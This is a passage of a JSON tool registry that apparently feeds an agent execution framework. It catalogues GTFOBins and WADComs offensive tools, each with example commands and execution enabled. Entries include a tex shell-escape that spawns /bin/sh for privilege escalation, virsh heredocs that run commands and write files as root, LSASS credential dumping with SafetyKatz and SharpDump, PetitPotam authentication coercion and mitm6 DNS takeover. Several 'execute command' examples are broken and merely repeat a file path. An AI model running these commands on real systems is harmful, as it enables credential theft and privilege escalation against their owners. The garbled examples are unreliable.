      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "luatex.md",
    "allowed-tools": [
      "luatex",
      "lualatex",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "LuaTeX typesetting, can read files and execute Lua code.",
    "examples": [
      {
        "description": "Read a file via luatex",
        "command": "luatex /path/to/file"
      },
      {
        "description": "Execute Lua code via luatex",
        "command": "luatex /path/to/file"
      }
    ],
    "execution": {
      "template": "luatex /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-tex-luatex",
    "install": [
      {
        "method": "apt",
        "package_name": "texlive-luatex",
        "commands": [
          "apt-get install -y texlive-luatex"
        ]
      }
    ],
    "name": "luatex",
    "namespace": "text:tex:luatex",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/luatex/"
      }
    ],
    "related_tools": [
      "lualatex",
      "tex",
      "latex"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pdflatex.md",
    "allowed-tools": [
      "pdflatex",
      "latex",
      "pdftex",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "PDFLaTeX, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via pdflatex",
        "command": "pdflatex '\\input{/path/to/file}'"
      },
      {
        "description": "Execute command via pdflatex",
        "command": "pdflatex '\\input{/path/to/file}'"
      }
    ],
    "execution": {
      "template": "pdflatex \\\\input{/path/to/file}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-tex-pdflatex",
    "install": [
      {
        "method": "apt",
        "package_name": "texlive-latex-base",
        "commands": [
          "apt-get install -y texlive-latex-base"
        ]
      }
    ],
    "name": "pdflatex",
    "namespace": "text:tex:pdflatex",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pdflatex/"
      }
    ],
    "related_tools": [
      "latex",
      "pdftex",
      "tex"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pdftex.md",
    "allowed-tools": [
      "pdftex",
      "pdflatex",
      "tex",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "PDFTeX engine, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via pdftex",
        "command": "pdftex /path/to/file"
      },
      {
        "description": "Execute command via pdftex",
        "command": "pdftex /path/to/file"
      }
    ],
    "execution": {
      "template": "pdftex /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-tex-pdftex",
    "install": [
      {
        "method": "apt",
        "package_name": "texlive-base",
        "commands": [
          "apt-get install -y texlive-base"
        ]
      }
    ],
    "name": "pdftex",
    "namespace": "text:tex:pdftex",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pdftex/"
      }
    ],
    "related_tools": [
      "pdflatex",
      "tex",
      "latex"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "nroff.md",
    "allowed-tools": [
      "nroff",
      "troff",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Troff formatter, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via nroff",
        "command": "nroff /path/to/file"
      },
      {
        "description": "Execute command via nroff",
        "command": "nroff /path/to/file"
      }
    ],
    "execution": {
      "template": "nroff /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-troff-nroff",
    "install": [
      {
        "method": "apt",
        "package_name": "groff-base",
        "commands": [
          "apt-get install -y groff-base"
        ]
      }
    ],
    "name": "nroff",
    "namespace": "text:troff:nroff",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/nroff/"
      }
    ],
    "related_tools": [
      "troff",
      "groff"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pic.md",
    "allowed-tools": [
      "pic",
      "troff",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Troff picture formatter, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via pic",
        "command": "pic /path/to/file"
      },
      {
        "description": "Execute command via pic",
        "command": "pic /path/to/file"
      }
    ],
    "execution": {
      "template": "pic /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-troff-pic",
    "install": [
      {
        "method": "apt",
        "package_name": "groff-base",
        "commands": [
          "apt-get install -y groff-base"
        ]
      }
    ],
    "name": "pic",
    "namespace": "text:troff:pic",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pic/"
      }
    ],
    "related_tools": [
      "troff",
      "groff"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# tex\n\ntex is a command-line utility. TeX typesetting system; can also spawn an interactive shell.\n",
    "_source": "tex.md",
    "allowed-tools": [
      "tex"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "TeX typesetting system; can read and write files and spawn shells.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "tex --shell-escape '\\immediate\\write18{/bin/sh}'"
      }
    ],
    "execution": {
      "template": "tex",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "typesetting-tex-tex",
    "install": [
      {
        "method": "apt",
        "package_name": "texlive-base",
        "commands": [
          "apt-get install -y texlive-base"
        ]
      }
    ],
    "name": "tex",
    "namespace": "typesetting:tex:tex",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tex/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# virsh\n\nvirsh is a command-line utility. Libvirt shell for managing virtual machines; can also execute arbitrary commands, write to arbitrary files.\n",
    "_source": "virsh.md",
    "allowed-tools": [
      "virsh"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Libvirt shell for managing virtual machines; can execute commands and spawn shells.",
    "examples": [
      {
        "description": "Execute arbitrary commands (sudo)",
        "command": "cat >/path/to/temp-file.xml <<EOF\n<domain type='kvm'>\n  <name>x</name>\n  <os>\n    <type arch='x86_64'>hvm</type>\n  </os>\n  <memory unit='KiB'>1</memory>\n  <devices>\n    <interface type='ethernet'>\n      <script path='/path/to/command'/>\n    </interface>\n  </devices>\n</domain>\nEOF\nvirsh -c qemu:///system create /path/to/temp-file.xml\nvirsh -c qemu:///system destroy x"
      },
      {
        "description": "Write to arbitrary files (sudo, unprivileged)",
        "command": "echo DATA >/path/to/temp-file\n\ncat >/path/to/temp-file.xml <<EOF\n<volume type='file'>\n  <name>y</name>\n  <key>/path/to/output-dir/output-file</key>\n  <source>\n  </source>\n  <capacity unit='bytes'>5</capacity>\n  <allocation unit='bytes'>4096</allocation>\n  <physical unit='bytes'>5</physical>\n  <target>\n    <path>/path/to/output-dir/output-file</path>\n    <format type='raw'/>\n    <permissions>\n      <mode>0600</mode>\n      <owner>0</owner>\n      <group>0</group>\n    </permissions>\n  </target>\n</volume>\nEOF\n\nvirsh -c qemu:///system pool-create-as x dir --target /path/to/output-dir/\nvirsh -c qemu:///system vol-create --pool x --file /path/to/temp-file.xml\nvirsh -c qemu:///system vol-upload --pool x /path/to/output-dir/output-file /path/to/temp-file\nvirsh -c qemu:///system pool-destroy x"
      },
      {
        "description": "Write to arbitrary files (sudo, unprivileged)",
        "command": "virsh -c qemu:///system pool-create-as x dir --target /path/to/dir/\nvirsh -c qemu:///system vol-download --pool x input-file output-file\nvirsh -c qemu:///system pool-destroy x"
      }
    ],
    "execution": {
      "template": "virsh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "virtualization-libvirt-virsh",
    "install": [
      {
        "method": "apt",
        "package_name": "libvirt-clients",
        "commands": [
          "apt-get install -y libvirt-clients"
        ]
      }
    ],
    "name": "virsh",
    "namespace": "virtualization:libvirt:virsh",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/virsh/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution",
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# FindUncommonShares\n\nThe script FindUncommonShares.py is a Python equivalent of PowerView's Invoke-ShareFinder.ps1 allowing to quickly find uncommon shares in vast Windows Domains.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tAttacker IP: 10.10.10.2\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n```\npython3 FindUncommonShares.py -u 'john' -d 'TEST.local' -p 'password123' --dc-ip 10.10.10.1\n```\n\n**Services:** SMB\n\n**Required:** Password, Username, Hash\n",
    "_source": "wadcom-finduncommonshares.md",
    "capabilities": [
      "network.enumerate.shares"
    ],
    "description": "The script FindUncommonShares.py is a Python equivalent of PowerView's Invoke-ShareFinder.ps1 allowing to quickly find uncommon shares in vast Windows Domains.",
    "examples": [
      {
        "description": "Command execution",
        "command": "python3 FindUncommonShares.py -u 'john' -d 'TEST.local' -p 'password123' --dc-ip 10.10.10.1"
      }
    ],
    "execution": {
      "template": "finduncommonshares",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive",
      "network-intensive",
      "process-manip"
    ],
    "id": "wadcom-finduncommonshares",
    "items": [
      "NoCreds"
    ],
    "name": "FindUncommonShares",
    "namespace": "wadcom:tool:finduncommonshares",
    "platforms": [
      "windows",
      "linux"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/p0dalirius/FindUncommonShares"
      }
    ],
    "services": [
      "SMB"
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# mitm6\n\nmitm6 is a pentesting tool that exploits the default configuration of Windows to take over the default DNS server. It does this by replying to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server. The following command will respond to DHCPv6 messages and set the DNS server to the attack host IP. Leverage this command with ntlmrelayx.py to capture the WPAD configuration requests. \n\nCommand Reference:\n\n\tDomain: test.local\n\n```\nmitm6 -d test.local --ignore-nofqnd\n```\n\n**Services:** DNS\n\n**Required:** No_Creds\n",
    "_source": "wadcom-mitm6.md",
    "capabilities": [
      "network.intercept.mitm"
    ],
    "description": "mitm6 is a pentesting tool that exploits the default configuration of Windows to take over the default DNS server. It does this by replying to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server. The following command will respond to DHCPv6 messages and set the DNS server to the attack host IP. Leverage this command with ntlmrelayx.py to capture the WPAD configuration requests.",
    "examples": [
      {
        "description": "Command execution",
        "command": "mitm6 -d test.local --ignore-nofqnd"
      }
    ],
    "execution": {
      "template": "mitm6",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "remote"
    ],
    "id": "wadcom-mitm6",
    "items": [
      "Hash"
    ],
    "name": "mitm6",
    "namespace": "wadcom:tool:mitm6",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/dirkjanm/mitm6"
      },
      {
        "label": "Reference 2",
        "url": "https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/"
      }
    ],
    "services": [
      "DNS",
      "SMB",
      "LDAP",
      "LLMNR",
      "MDNS",
      "NBT-NS"
    ],
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# PetitPotam\n\nPetitPotam leverages the MS-EFSRPC API to connect to a Windows host, hijack the authentication session, and trigger an authentication from the target host to an attacker controlled host (usually SMB or HTTP server). This captured authentication can then be relayed to authenticate to other hosts and perform more attacks. See more in ntlmrelayx.py.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tAttacker IP: 10.10.10.2\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n```\npython3 PetitPotam.py -d test.local -u john -p password123 10.10.10.2 10.10.10.1\n```\n\n**Services:** RPC, NTLM\n\n**Required:** Password, Username\n",
    "_source": "wadcom-petitpotam.md",
    "capabilities": [
      "network.coerce.authentication"
    ],
    "description": "PetitPotam leverages the MS-EFSRPC API to connect to a Windows host, hijack the authentication session, and trigger an authentication from the target host to an attacker controlled host (usually SMB or HTTP server). This captured authentication can then be relayed to authenticate to other hosts and perform more attacks. See more in ntlmrelayx.py.",
    "examples": [
      {
        "description": "Command execution",
        "command": "python3 PetitPotam.py -d test.local -u john -p password123 10.10.10.2 10.10.10.1"
      }
    ],
    "execution": {
      "template": "petitpotam",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "compression",
      "file-system",
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "id": "wadcom-petitpotam",
    "items": [
      "Hash"
    ],
    "name": "PetitPotam",
    "namespace": "wadcom:tool:petitpotam",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/topotam/PetitPotam"
      },
      {
        "label": "Reference 2",
        "url": "https://www.truesec.com/hub/blog/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-directory"
      }
    ],
    "services": [
      "RPC",
      "SMB"
    ],
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# pyWhisker\n\npyWhisker is a tool allowing users to manipulate the msDS-KeyCredentialLink attribute of a target user/computer to obtain full control over that object. It's based on Impacket and on our Python equivalent of Michael Grafnetter's DSInternals called PyDSInternals. This tool, along with Dirk-jan's PKINITtools allow for a complete primitive exploitation on UNIX-based systems only.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n```\npython3 pywhisker.py -d \"test.local\" -u \"john\" -p \"password123\" --target \"user2\" --action \"list\" --dc-ip \"10.10.10.1\"\n```\n\n**Services:** Kerberos\n\n**Required:** Password, Username\n",
    "_source": "wadcom-pywhisker.md",
    "capabilities": [
      "credential.manipulate.pkinit"
    ],
    "description": "pyWhisker is a tool allowing users to manipulate the msDS-KeyCredentialLink attribute of a target user/computer to obtain full control over that object. It's based on Impacket and on our Python equivalent of Michael Grafnetter's DSInternals called PyDSInternals. This tool, along with Dirk-jan's PKINITtools allow for a complete primitive exploitation on UNIX-based systems only.",
    "examples": [
      {
        "description": "Command execution",
        "command": "python3 pywhisker.py -d \"test.local\" -u \"john\" -p \"password123\" --target \"user2\" --action \"list\" --dc-ip \"10.10.10.1\""
      }
    ],
    "execution": {
      "template": "pywhisker",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "compression",
      "file-system",
      "interactive",
      "pipes-stdin"
    ],
    "id": "wadcom-pywhisker",
    "items": [
      "PFX",
      "NoCreds"
    ],
    "name": "pyWhisker",
    "namespace": "wadcom:tool:pywhisker",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/shutdownrepo/pywhisker"
      }
    ],
    "services": [
      "LDAP",
      "RPC"
    ],
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# SafetyKatz\n\nSafetyKatz.exe is part of the GhostPack suite of tools and is a combination of SharpDump and Mimikatz. The following command will dump the LSASS process and run Mimikatz to extract credentials from the dumped process. Safetykatz also supports a number of mimikatz native commands such as \"sekurlsa::evasive-keys\" etc. The evasive switch in lab and production enviroments up to windows 2016 has been noted to successfully run where the non \"evasive\" switches had not\n\n```\nsafetykatz.exe \"privilege::debug\" \"sekurlsa::evasive-logonpasswords\" \"exit\"\n```\n\n**Required:** Shell\n",
    "_source": "wadcom-safetykatz.md",
    "capabilities": [
      "credential.dump.lsass"
    ],
    "description": "SafetyKatz.exe is part of the GhostPack suite of tools and is a combination of SharpDump and Mimikatz. The following command will dump the LSASS process and run Mimikatz to extract credentials from the dumped process. Safetykatz also supports a number of mimikatz native commands such as \"sekurlsa::evasive-keys\" etc. The evasive switch in lab and production enviroments up to windows 2016 has been noted to successfully run where the non \"evasive\" switches had not",
    "examples": [
      {
        "description": "Command execution",
        "command": "safetykatz.exe \"privilege::debug\" \"sekurlsa::evasive-logonpasswords\" \"exit\""
      }
    ],
    "execution": {
      "template": "safetykatz",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "process-manip"
    ],
    "id": "wadcom-safetykatz",
    "items": [
      "Password",
      "Hash",
      "TGS",
      "TGT"
    ],
    "name": "SafetyKatz",
    "namespace": "wadcom:tool:safetykatz",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/GhostPack/SafetyKatz"
      },
      {
        "label": "Reference 2",
        "url": "https://www.harmj0y.net/blog/redteaming/ghostpack/"
      }
    ],
    "services": [
      "Kerberos",
      "SMB",
      "RPC"
    ],
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# Seatbelt\n\nSeatbelt.exe is part of the GhostPack suite of tools that will perform a lot of \"safety checks\" on the Windows host and collect system data that could be useful for potential privilege escalation or persistence methods. The following command will run all checks on the system and store the output in a file (WARNING: will collect a lot of data. remove `-full` for less output).\n\nCommand Reference:\n\n\tRun all checks: -group=all\n\n\tOutput File: output.txt\n\n```\nSeatbelt.exe -group=all -full > output.txt\n```\n\n**Required:** Shell\n",
    "_source": "wadcom-seatbelt.md",
    "capabilities": [
      "system.enumerate.security"
    ],
    "description": "Seatbelt.exe is part of the GhostPack suite of tools that will perform a lot of \"safety checks\" on the Windows host and collect system data that could be useful for potential privilege escalation or persistence methods. The following command will run all checks on the system and store the output in a file (WARNING: will collect a lot of data. remove `-full` for less output).",
    "examples": [
      {
        "description": "Command execution",
        "command": "Seatbelt.exe -group=all -full > output.txt"
      }
    ],
    "execution": {
      "template": "seatbelt",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "wadcom-seatbelt",
    "items": [
      "NoCreds",
      "Password"
    ],
    "name": "Seatbelt",
    "namespace": "wadcom:tool:seatbelt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/GhostPack/Seatbelt"
      },
      {
        "label": "Reference 2",
        "url": "https://www.harmj0y.net/blog/redteaming/ghostpack/"
      }
    ],
    "services": [
      "SMB"
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# SharpDump\n\nSharpDump.exe is part of the GhostPack suite of tools and is a C# port of PowerSploit's Out-Minidump.ps1. It can dump the process for LSASS or a specific process given it's PID. This dump can then be fed into mimikatz to extract sensitive information. The following command simply dumps the LSASS process.\n\n```\nSharpDump.exe\n```\n\n**Required:** Shell\n",
    "_source": "wadcom-sharpdump.md",
    "capabilities": [
      "credential.dump.lsass"
    ],
    "description": "SharpDump.exe is part of the GhostPack suite of tools and is a C# port of PowerSploit's Out-Minidump.ps1. It can dump the process for LSASS or a specific process given it's PID. This dump can then be fed into mimikatz to extract sensitive information. The following command simply dumps the LSASS process.",
    "examples": [
      {
        "description": "Command execution",
        "command": "SharpDump.exe"
      }
    ],
    "execution": {
      "template": "sharpdump",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "process-manip"
    ],
    "id": "wadcom-sharpdump",
    "items": [
      "Hash",
      "Password"
    ],
    "name": "SharpDump",
    "namespace": "wadcom:tool:sharpdump",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/GhostPack/SharpDump"
      },
      {
        "label": "Reference 2",
        "url": "https://www.harmj0y.net/blog/redteaming/ghostpack/"
      }
    ],
    "services": [
      "SMB"
    ],
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# SharpUp\n\nSharpUp.exe is part of the GhostPack suite of tools and is a C# port of PowerUp that will perform numerous privilege escalation checks. The following command will run all priv esc checks and store the output in a file.\n\nCommand Reference:\n\n\tOutput File: output.txt\n\n```\nSharpUp.exe > output.txt\n```\n\n**Required:** Shell\n",
    "_source": "wadcom-sharpup.md",
    "capabilities": [
      "security.privilege-escalation.enumerate"
    ],
    "description": "SharpUp.exe is part of the GhostPack suite of tools and is a C# port of PowerUp that will perform numerous privilege escalation checks. The following command will run all priv esc checks and store the output in a file.",
    "examples": [
      {
        "description": "Command execution",
        "command": "SharpUp.exe > output.txt"
      }
    ],
    "execution": {
      "template": "sharpup",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "wadcom-sharpup",
    "items": [
      "NoCreds"
    ],
    "name": "SharpUp",
    "namespace": "wadcom:tool:sharpup",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/GhostPack/SharpUp"
      },
      {
        "label": "Reference 2",
        "url": "https://www.harmj0y.net/blog/redteaming/ghostpack/"
      }
    ],
    "services": [
      "SMB"
    ],
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# SharpWMI\n\nSharpWMI.exe is part of the GhostPack suite of tools that provides WMI functionality, such as local/remote WMI queries, remote WMI process creation, and remote execution of arbitrary VBS through WMI events. The following command will simply list all processes running on the local system.\n\nCommand Reference:\n\n\tGet all processes: \"select * from win32_process\"\n\n```\nSharpWMI.exe action=query query=\"select * from win32_process\"\n```\n\n**Services:** WMI\n\n**Required:** Shell\n",
    "_source": "wadcom-sharpwmi.md",
    "capabilities": [
      "security.execution.wmi"
    ],
    "description": "SharpWMI.exe is part of the GhostPack suite of tools that provides WMI functionality, such as local/remote WMI queries, remote WMI process creation, and remote execution of arbitrary VBS through WMI events. The following command will simply list all processes running on the local system.",
    "examples": [
      {
        "description": "Command execution",
        "command": "SharpWMI.exe action=query query=\"select * from win32_process\""
      }
    ],
    "execution": {
      "template": "sharpwmi",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "id": "wadcom-sharpwmi",
    "items": [
      "Shell"
    ],
    "name": "SharpWMI",
    "namespace": "wadcom:tool:sharpwmi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference 1",
        "url": "https://github.com/GhostPack/SharpWMI"
      },
      {
        "label": "Reference 2",
        "url": "https://www.harmj0y.net/blog/redteaming/ghostpack/"
      }
    ],
    "services": [
      "WMI",
      "RPC",
      "SMB"
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
